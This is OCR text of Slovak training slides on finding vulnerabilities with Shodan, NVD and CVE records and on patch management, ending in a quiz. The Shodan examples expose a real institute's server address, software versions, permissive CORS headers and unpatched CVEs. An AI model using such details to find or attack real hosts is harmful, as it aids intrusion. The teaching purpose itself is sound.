ake sluzby pOSkthjU. Discover how Intemet intelligence can

vagn help you make better decisions.
= Pouzitie: o

= Bezpecnostni experti ho vyuzivaju na auditovanie sieti,
hladanie zranitelnosti a monitorovanie zariadeni.
= Funkcie:

= Umoznuje filtrovat podla IP adresy, portu, geografickej
polohy, operacného systému, otvorenych sluzieb a
dalSich parametrov.

» Rizika:
= MéZe byt zneuZity na identifikaciu nezabezpecenych

zariadeni, preto jé dolezité spravne konfigurovat a
zabezpecCit sietové zariadenia.

ate, Financované
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Vyhladavac€ pre zariadenia pripojené k internetu (vratane ich zranitel'nosti)

Vyhladanie informacii cez shodan.io

< > (¢ 2% shodan.io/host/194.160.66.48

Explore Downloads Pricing &

®% SHODAN

Orthan der. 3 Thurnhaufen

Donau Stopfenreuth

Eckartsau

n

Schwalbeninsel;s

194.160.66.48 i
// TAGS:

@ General Information

Hundsheim

geology.sk
Hostnames
48.geology.sk
Domains geology.sk
Country Slovakia
City Bratislava

Organization State Geological Institute of Dionyz Stur

Zdruzenie pouzivatelov Slovenskej akademickej datovej

ISP i
siete SANET

Financované

Eurépskou tniou
NextGenerationEU

Q @ % ©

' Most pri* "%

Bratislave

S StaréiMesto” V) Tomasov.
Podunajské

" Biskupice

»

® 0

2B 3 O

-

Q by Sar

Hurbanova
Ves

Finish update !

Janiky: Jelka

// LAST SEEN: 2025-09-02

542 Open Ports

/80 /TCP [/

nginx 1202
% Mapportal SGUDS

HTTP/1.1 200 OK

Server: nginx/1.20.2

Date: Sat, 23 Aug 2025 10:25:54 GMT
Content-Type: text/html

Content-Length: 9619

Last-Modified: Wed, 06 Dec 2023 11:35:14 GMT

AU A TR
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Vyhladavac€ pre zariadenia pripojené k internetu (vratane ich zranitel'nosti)

Vyhladanie informacii cez shodan.io (pokrac.)

(_

c 2% shodan.io/host/194.160.66.48

iyarnLacing DLALT GATULUYIL AL TISLLULE VI Iy L SLul

ISP Zdruzenie pouzivatelov Slovenskej akademickej datovej siete SANET
ASN AS2607
/\ Vulnerabilities Allports  ~|| Latest ~

2023 (1)

CVE-2023-44487 The HTTP/2 protocol allows a denial of service (server resource

consumption) because request cancellation can reset many streams
quickly, as exploited in the wild in August through October 2023.

2021 (1)

CVE-2021-3618

exploiting TLS servers implementing different protocols but using
compatible certificates, such as multi-domain or wildcard certificates.
A MITM attacker having access to victim's traffic at the TCP/IP layer
can redirect traffic from one subdomain to another. resulting in a valid
TLS session. This breaks the authentication of TLS and cross-protocol
attacks may be possible where the behavior of ane protocol service
may compromise the other at the application layer.

ALPACA is an application layer protocol content confusion attack.
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Server: nginx/1.28.2

Date: 5at, 23 Aug 2825 1©:25:54 GMT
Content-Type: text/html

Content-Length: 9619

Last-Modified: Wed, 86 Dec 2623 11:35:14 GMT
Connection: keep-alive

ETag: "65705c72-2593"
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: DNT,X-CustomHeader,Ke
-Control, Content-Type

Accept-Ranges: bytes

Vulnerabilities

// 443 / TCP [

nginx 1202
% Mapportal $GUDS

HTTP/1.1 288 OK

Server: nginx/1.20.2

Date: Sun, 31 Aug 2825 14:54:37 GMT

Content-Type: text/html

Content-Length: 9619

Last-Modified: Wed, 86 Dec 2623 11:35:14 GMT
Connection: keep-alive

ETag: "65785c72-2593"

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: DNT,X-CustomHeader, Ke
-Control, Content-Type,Content-Range,Range
Access-Control-Expose-Headers: DNT,X-CustomHeader,k
e-Control.Content-Tvpe.Content-Range.Range
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Vyhladavac€ pre zariadenia pripojené k internetu (vratane ich zranitel'nosti)

Filter na zranitel’nosti

<« =2 C 2o shodan.io/search?query=vuln:CVE-2023-44487

’. SHODAN Explore Downloads Pricing & vuln:CVE-2023-44487 n

@ - The “vuln® filter is only available to Academic users or
rror:
Small Business API subscription and higher.




Konkrétna ukazka pre zist'ovanie zranitelnosti systému
Vyhladavanie informacii o zranitelnostiach

[ ] NIST NVD (Natlonal - C 2% nvdnist.gov/search y*d e & 0 B A 9 o Finish update
Vulnerability Database) je
oficialna databaza )
kybernetlckych zranitefnosti NIST

= gpravovana NIST (National
Institute of Standards and
Technology) v USA

= zoznam znamych NATIONAL VULNERABILITY
zranitelnosti softvéru a NATIONAL VULNERABILITY DATABASE NISI-TWD
hardvéru, Casto oznaCenych
identifikatorom CVE
Common Vulnerabilities and

B= An official website of the United States government Here's how you know

= NVD MENU

Information Technology Laboratory

Xposures).
= Pomaha organizaciam General + Search
identifikovat a hodnotit l oot the et RN
bezpecnostne rIZIka V ICh Vulnerabilities + Please make use of the interactive search interfaces to find information in the database!
systemoch , Vulnerability Metrics +
= Kazda zranitelnost ma
priradené skore CVSS Products +
Common LN e
hodnoti jej zavaznost Contact NVD
. Uzko spolu% acuje s MITRE Other Sites +
(spravcom CVE systému) a
daIS|m| bezpecnostnyml Search +
komunitami.
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Konkrétna ukazka pre zist'ovanie zranitelnosti systému

Vyhladavanie informacii o zranitelnostiach

« CVE-2023-44487

&) 23 nvd.nist.gov/vuln/search#/nvd/home?keyword=CVE-2023-44487 &resuliType=records Y QO & 0O B 3 1 o Fini

An official website of the United States government Here's how you know ™

NIST = NVD MENU

Information Technology Laboratory

N lsr T NATIONAL VULNERABILITY
NATIONAL VULNERABILITY DATABASE NVD

VULNERABILITIES

NVD Vulnerability Search

B o

For a phrase search, use "

Keyword: CVE-2023-44487 &

Items per page: | 25 2| 1-10f1 W < 2 M
Identifier CISAkev Published CNA Description
Info Date
CVE-2023- The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many
2023-10-10 MITRE , e o
44487 streams quickly, as exploited in the wild in August through October 2023.

FILINSKE) UNIVERZITY ¥ 2ILINE
NextGenerationEU

Financované PR - a MINISTERSTVO KOMPETENENE CENTRUM
Eurépskou tniou PLAN LOBNOVYJ oA KYBERNETICKE) BEZPECNOSTI




Konkrétna ukazka pre zist'ovanie zranitelnosti systému

cve.org

&« > C 25 cveorg @ v [ I ] B O 2 ° Finish update &

= CVE Record User S oo panmn e e S ——
G U id e CVE-2023-44487| Search @

Search tips @ | Provide feedback
|

. [
© Notice: Expanded keyword searching of CVE Records (with limitations) is now available in the search box above. Learn more here . w

CVE"™ Program Mission
Identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.
There are currently over 292,000 CVE Records accessible via Download or Keyword Search above.

’ 4 .
= Vyh I ad ava n I e The CVE Program partners with community members (@‘ News

worldwide to grow CVE content and expand its usage.

i nfO rm éCl |’ O Click below to learn more about the role of CVE 0 @ Searching for Patterns

Numbering Authorities (CNAs) and Roots. r@) g Now Available in "CVE

List Keyword Search” on
CVE.ORG Website

{ Learn More ] { Become a Partner } . ,@\

(‘g\~ §® Vulnerability Data
CV E_2023-44487 () g f@\ Enrichment for CVE
Records: 243 CNAs on
the Enrichment

Recognition List for

b» CVE Program Report for
= List of Partners = About CVE = Report vulnerability/Request Quarter 2 Calendar Year
= CNA Rules » Process CVE ID (Q2 CY) 2025
= CVE Record Lifecycle = Program Qrganization = Request CVE Record be
= CVEProject on GitHub for = CVE 25th Anniversary Report published/updated AxxonSoft Added as CVE

Development » Related Efforts = Report the use of a reserved Numbering Authority
= ldea tracker 2 « Terminology CVEID[Z? (CNA)
= CVE Services for CNAs NEWS ICONS®

Financované PR a2 a e A0 ROZYO KOMPETENENE CENTRUM
i b VESTICH, REGIONALNEHO ROZV .
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https://www.cve.org/CVERecord/UserGuide/#cve-kev
https://www.cve.org/CVERecord/UserGuide/#cve-kev
https://www.cve.org/CVERecord/UserGuide/#cve-kev
https://www.cve.org/CVERecord/UserGuide/#cve-kev
https://www.cve.org/CVERecord/UserGuide/#cve-kev
https://www.cve.org/CVERecord/UserGuide/#cve-kev

Konkrétna ukazka pre zist'ovanie zranitelnosti systému

CVE-2023-44487

| H TT P I 3 : RYC h I e 1 éi a b e Z p e é n e 1 é i A ‘ About Partner Infformation  Program Organization Downloads Resources & Support
We b Enter keywords (e.g.: CVE ID, sql injection, etc.) m @

Search tips @ | Provide feedback 2

3 €@ % cveorg/CVERecord?id=CVE-2023-44487 e ¥+ O & 0 B R 3 @

@ Notice: Expanded keyword searching of CVE Records (with limitations) is now available in the search box above. Leam more here . w

CVE-2023-44487 | rususten & ViewJSON | B User Guide

On This Page

. Required CVE Record
HTTP Sema ntics Required CVE Record Information Information

\ Govorson
HTTP 1.1 HTTP/3

HTT p/ 2 Published: 2023-10-10 Updated: 2025-06-07 CVE Program

TCP TCP

Description Publishers

The HTTP/2 protocol allows a denial of service (server resource consumption) because CISA-ADP
request cancellation can reset many streams quickly, as exploited in the wild in August
through October 2023.

Q U | C Product Status

Learn more

U D P Information not provided

References 144 Total

[}
IPV4 / IPV6 + https://github.com/dotneticore/blobled613450ea0da7fd2fc6b61dfb2e1c1dec
1cedec/release-notes/6.0/6.0.23/6.0.23.md?plain=14L73
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https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.websupport.sk/podpora/kb/http3-rychlejsi-a-bezpecnejsi-web/
https://www.cve.org/CVERecord?id=CVE-2023-44487
https://www.cve.org/CVERecord?id=CVE-2023-44487
https://www.cve.org/CVERecord?id=CVE-2023-44487
https://www.cve.org/CVERecord?id=CVE-2023-44487
https://www.cve.org/CVERecord?id=CVE-2023-44487

'. SHODAN | Account Billing Take a Tour Login Register

Shodan.io/Pricing
Cena licencii na shodan.io

len pre predstavu)

= Dozivotna basic licencia Freelancer Small Business Corporate

(zaujimava... ale dostupna iba v $69,/month $359 /month $1099 /month
Specialnych akciach, raz za X rokov)

RGCEi pt from Shoda n, LLC v Up to 1 million results per month : + Up to 20 million results per month ' Al Unlimited results per month .
+ Scan upto 5120 |Ps per month «" Scan up to 65,536 IPs per month + Scan up to 327,680 IPs per month
Receipt #1268-4168 v Network Monitoring for 5120 IPs  Network Monitering for 65,536 IPs + Network Monitoring for 327680 IPs
AMOUNT PAID DATE PAID PAYMENT METHOD
$5.00 Jul 17, 2023, 1:42:45 PM MasterCard -
v Access to most filters +" Access to most filters v Access to all filters
SUMMARY v Allows paging through search results + Allows paging through search results v Allows paging through search resulis
v Basic access to the Streaming AP +" Basic access to the Streaming AP + Basic access to the Streaming APl
v Commercial Use + Commercial Use + Commercial Use
Payment to Shodan, LLC. $5.00
Amount charged $5.00 v Grandfathered Pricing + Grandfathered Pricing + Grandfathered Pricing
« E-Mail support « E-Mail support @& Premium Support
1 Vulnerability search filter 1 Vulnerability search filter
+ Batch IP Lookups
If you have any questions, contact us at suppori@shodan.io or call at © Tag Search Filter
+1 740-746-3261 . %3 InternetDB AP Commercial Use

& Complementary Membership Upgrades

Financované T ] a T AN ROTVOA KOMPETENCNE CENTRUM
Eurépskou Gniou PLAN OBNOVY, Py / ! KYBERNETICKE) BEZPECNOSTI
NextGenerationEU h -




Identifikacia zranitel'nosti systémov so shodan.io

S liceniou: aj moznost’ monitorovat’ (svoje) zariadenia

—
" SHODAN  Monitor Overview Pricing &2 Access Portal

Know What's Connected

Network Monitoring Made Eas

Within 5 minutes of using Shodan Monitor you will see what you currently have
connected to the Internet within your network range and be setup with real-time =
notifications when something unexpected shows up.

Small network 19820680/24 & Built to Scale

EEEEEEEEEEEEE Whether you want to monitor 1 IP or you're an ISP with millions of custorﬁers - the
= 11 ] Shodan platform was built to handle networks of all sizes without breaking a

sweat
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Identifikacia zranitel'nosti systémov so shodan.io

Monitorovanie aktiv (assets)

“

& 2%  monitor.shodan.io/networks

Yr

Dashboard

Manage Assets Events Log Settings

o ® O

B 03 @€

L.l" SHODAN = Monitor

(ol

i

geology.sk

gymrk.sk

ADD DOMAIN ADD SEARCH QUERY

194.16(

e 11P malware, open_database, ai, iot, end_of_life, internet_scanner,
- industrial_control_system, new_service, ssl_expired, vulnerable

1142194/32 11p malware, open_database, ai, iot, end_of_life, internet_scanner,
A1a2 1947 532
industrial_control_system, new_service, ssl_expired, vulnerable
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Identifikacia zranitel'nosti systémov so shodan.io

Monitorovanie aktiv — alert o novej zranitelnosti

Shodan Alert <no-reply@mg.shodan.io> Sep 4, 2025, 4:02PM (21 hours ago) Yy ® “ :

tome -

194.160.66.48

80/ tcp geology.sk end_of _life
Port Asset Group Trigger
nginx 1.20.2

HTTP/1.1 200 OK

Server: nginx/1.20.2

Date: Thu, 04 Sep 2025 13:44:23 GMT

Content-Type: text/html

Content-Length: 9619

Last-Modified: Wed, 06 Dec 2023 11:35:14 GMT

Connection: keep-alive

ETag: "65705c72-2563"

Access—-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true
Access—-Control-Allow-Methods: GET, POST, OPTICNS
Access—-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User—
Agent,X-Requested-With, If-Modified-Since, Cache-Control, Content-Type
Accept—Ranges: bytes

Add to Whitelist
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olarwinds®  MYD ALERTSRACTMITY = REPORTS =  SETTINGS ~ & awracom @
atch Manager Summary
Nodes Managed by WSUS Servers All Patches
:0
Operating System Overview -

Node Count: §

Top 10 Patches Missing

Patch management

Desktop Node Health Overview

Node Count: 4

=2
mEEm:




Riadenie podnikovych oprav/zaplat (patch management)

= Riadenie oprav/zaplat zahfna vSetky aspekty oprav
softvéru vratane:
o identifikacie pozadovanych oprav/zaplat P Map—
o ziskavania, distribucie, in$talacie a overovania o

= Patch management je poziadavkou vo vacsine
bezpecnostnych a regulacnych ramcov

= vratane NIS2, zakona 69/2018, ISO 27001/27002, PCI-DSS,
CIS Controls, HIPAA, SWIFT a NIST smernic.

=  Sukromny sektor, banky, finanéné sluzby

= PCI-DSS v4.0 (Payment Card Industry Data Security Standard)—
kapitola 6 pozaduje zaplatovanie znamych zranitefnosti, a kritické
zranitefnosti do 30 dni.

= SWIFT CSCF (Customer Security Controls Framework)— pozaduje ,‘ .
pravidelné aktualizacie a patchovanie infrastruktury pre bankové w ’ .-
systémy. a e

= CISA - Binding Operational Directive (BOD) 22-01— povinné
zaplatovanie zranitelnosti uvedenych v Known Exploited

Vulnerabilities Catalog.

= Zranitelnosti musia byt opravené v definovanych terminoch, obvykle:

= Kritické — do 15 dni,
= vysoké — do 30 dni.

Operating System Overview

Desktop Node Health Overview

a MINISTERSTVO KOMPETENCNE CENTRUM

NVESTICH RECIONALNEHO ROZVCIA A

INVESTICH RECIONAL m | QY kveernencke) pezpecnosn
SUBVENSKE atpUBLIKY : vy e
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Patch management

= |dentifikacia a zmiernovanie zranitelnosti je suCastou bezpecnostneho
manazmentu, ktory zahrna:

= |dentifikaciu zranitelnosti: Organizacie musia pravidelne vykonavat analyzy
rizik na identifikaciu zranitelnosti v systémoch, ktoré spracuvaju ePHI

» Instalaciu zaplat: Po identifikacii zranitelnosti je potrebné rychlo aplikovat
zaplaty, aby sa minimalizovalo riziko zneuzitia tychto zranitelnosti

= Overovanie zaplat: Po aplikacii zaplat je délezité overit, Zze boli spravne
nainstalované a ze nevytvorili nové problémy




Patch management (pokrac.)
Ochrana informacii a zabezpecenie ich integrity

= Aj v tejto oblasti je dolezity manazment zaplat, z tychto dévodov:

o Kontrola pristupu:
= Zaplaty pomahaju zabezpecit, ze systemy su chranené pred zranitelnostami, ktoré by
mohli byt zneuzité na neopravneny pristup k udajom
o Integrita udajov:
= Pravidelné aktualizacie a zaplaty zabezpecuju, ze systémy su stabilné a spolahlive, Co
je kluCove pre kazdu organizaciu
o Audit a sulad:

= Vyzaduje sa, aby organizacie mali dokumentovane procesy a kontroly na
zabezpecenie integrity udajov

= Manazment zaplat je suCastou tychto kontrol, pretoze zabezpecuje, ze systemy su
aktualne a chranené pred znamymi zranitelnostami

= Efektivny manazment zaplat je teda nevyhnutny

Fi
PR Europskou Gniou
NextGenerationEU




Patch management

Techniky riadenia oprav

A) Pomocou agenta:

= To si vyzaduje, aby na kazdom e V ) 2pth
zariadeni, ktoré sa ma oprauvit,

bol spusteny softvérovy agent.

= Agent hlasi, &i je na zariadeni Fatien anagement
nainstalovany zranitefny
softvér.

=)

Caching Device

= Agent komunikuje so serverom
spravy oprav a zisti, Ci existuju
opravy, ktore vyzaduju
iInStalaciu, a nainstaluje opravy.

Security/IT Team
patch evaluation and testing

= Pristupy zalozené na agentoch
SL’J preferovanym prOStrled kom ::;2:323; ;esproer;suﬁgd?atch status, server deploys
na opravu mobilnych 7ar|aden|

PLAN [OBNOVY_




Patch management (o) - froearaa)

Techniky riadenia oprav \ /
= B) Skenovanie bez i ) |
agenta:
= Server na spravu zaplat // \\
(sgenUJe ze%rl)adema vzdialene l; SecurtyMTeam
ez agenta) pomocou | )
protokolov ako SSH, WinRM ] g Q D"
alebo’ SM’B, Z|St,UJe |Ch i Server detects patch status and installs as required.
softvérové verziea = Vyhody
rozhodne, ktoré aktualizacie = nie je nutné inStalovat agenta do kazdého systému,
treba nainstalovat. = rychla implementacia,

= Server uréi, ktoré opravy su = vhodne pre servery v stale dostupnych segmentoch siete.
potrebné, a nainstaluje ich = Nevyhody

na klientov. o funglg'e iba pre zariadenia, ktoré su v danej chvili v sieti
o a su dostupné (ping/porty),
= Opravovat sa daju iba = mobilné zariadenia mimo siete, home office, VPN - ¢asto
zariadenia, ktore su na unikaju patchovaniu,
skenovanych segmentoch = vyzaduje otvorené administracné protokoly (bezpecCnostné
siete, Co moze byt problem riziko),
pre mobilneé zariadenia. = mens$ia presnost pri niektorych aplikaciach a
konfiguraciach.

MIMISTERSTVG | Py KOMPETENCNE CENTRUM
wwvesticl recionauneia Rozvols | W 7L kyBERNETICKE) BEZPECNOSTI
A INFORMATIZACEE

510 ¥ ZILINSKES UNIVERZITY ¥ JILINE
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Bez peéné s préva Za riaden i Vendor 1 Patches Gsmdor 2 Patcha

Techniky riadenia oprav

/ 2\
&Y

Patch Management
Server

7
~

C) Network monitoring (pasivne i -
monitorovanie siete) D,
= Zariadenia vyzadujuce opravu su / \

identifikované prostrednictvom SecurtyT Toam

Patch evaluation and testing

monitorovania prevadzky v sieti. [;g ‘QD
= Systém analyzuje sietov ;

prevadzku (napr. DHCP, HTTP

User-Agent, TLS ClientHello, " Vyhody

NetFlow) a z nej vyvodzuje, aku = funguje aj bez agenta a bez potreby autentifikacie,

verziu OS alebo softveru = zachyti zariadenia, ktoré sa v sieti objavia iba na kratko,
zariadenia pouzivaju, Cim

5
Server detects patch status and installs as required.

identifikuje chybajuce = vhodné pre BYOD prostredie (telefony, tablety hosti).
aktualizacie. = Nevyhody
= Tento pristup je ucinny len pre = presnost je obmedzena - funguje len pre softver, ktory

softvérz kto.ry ,obs.ahUJe,lnformécie )I"Il(é)?nl;;rgr'?)arﬂ’:_?gosmla informacie o verzii (User-Agent, banner,
o verzii v sietovej prevadzke, v N V. .
ktorej sa prenasa » nedokaze identifikovat vSetky aplikacie,

= nenahradza plnohodnotné patchovanie — iba upozomuje, ze
zariadenie je potencialne zranitelné.

PLAN [OBNOVY_




Nastroje pre patch management (prehlfad podla typov)

= Windows (enterprise) = Multiplatformové / hetero%énne prostredia
_ _ (Windows + Linux + macOS)
* Microsott Intune / Endpoint Manager — = ManageEngine Patch Manager Plus
najmodernejSie riesenie, aj pre = |vanti Patch Management
hybridné prostredia. = NinjaOne
= WSUS (Windows Server Update = Atera
Services) — zakladné, on-prem, pre = Automox
velké siete. = PDQ Deploy + PDQ Inventory
= SCCM /MECM (Microsoft Endpoint = Open-source rieSenia
Configuration Manager) — robustne = OpenPatch (novsie projekty)
enterprise riesenie. = Opsi (Windows/Linux klientské OS)
- = Ansible (ako open-source zaklad pre vlastny
" me_( patching( systérr)n) P y
= Ansible (Yum/DNF/APT moduly) = Pre mobilné zariadenia (MDM — Mobile
= Red Hat Satellite Device Management)

o i = Microsoft Intune
Spacewalk / Uyun = VMware Workspace ONE
= Canonical Landscape - Jamf (Apple ekosystém)

= SUSE Manager = Mobilelron / lvanti UEM




Otvorena reflexia

= Co je cielom testovania
zranitelnosti? (1 spravna)

= a) Zistit, Ci webova stranka funguje
spravne , o
b[)) |dentifikovat slabé miesta v
systeme .
c) Zabezpecit, ze antivirus je
aktualny .. .
d) Zistit', kto pouziva Wi-Fi

= Ktoré z nasledujucich nastrojov
sa pouzivaju na testovanie
zanitelnosti? (2 spravne)

= a) Excel
b) Nessus

c) Shodan
d) Word

= Co znamena pojem ,,zranitel'nost™ v kybernetickej
bezpeCnosti? (2 spravne)

= a) Slabé miesto v systéme, ktoré méze byt zneuzité
b) Emocionalna reakcia pouzivatela

c) Problém s hardvérom, ktory spésobuje hluk

d) Chyba v softvéri, ktora uméznuje uto

I 80 by rr)lal obsahovat’ plan manazovania zranitelnosti?
spravne

= a) Zoznam vSetkych zamestnancov
b) Postup aktualizacii a zaplat
c) Analyzu rizik _
d) Denny rozvrh prace IT oddelenia
= Ktory z naslequjl]cich_zdrg;'ov poskytuje informacie o
znamych zranitelnostiach? (2 spravne)
= a) NIST NVD
b) YouTube
c) CVE databaza
d) Instagram
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Dakujem za pozornost’

|dentifikacia, hodnotenie a rieSenie zranitelnosti

Bezpec€na sprava zariadeni (Blok V)
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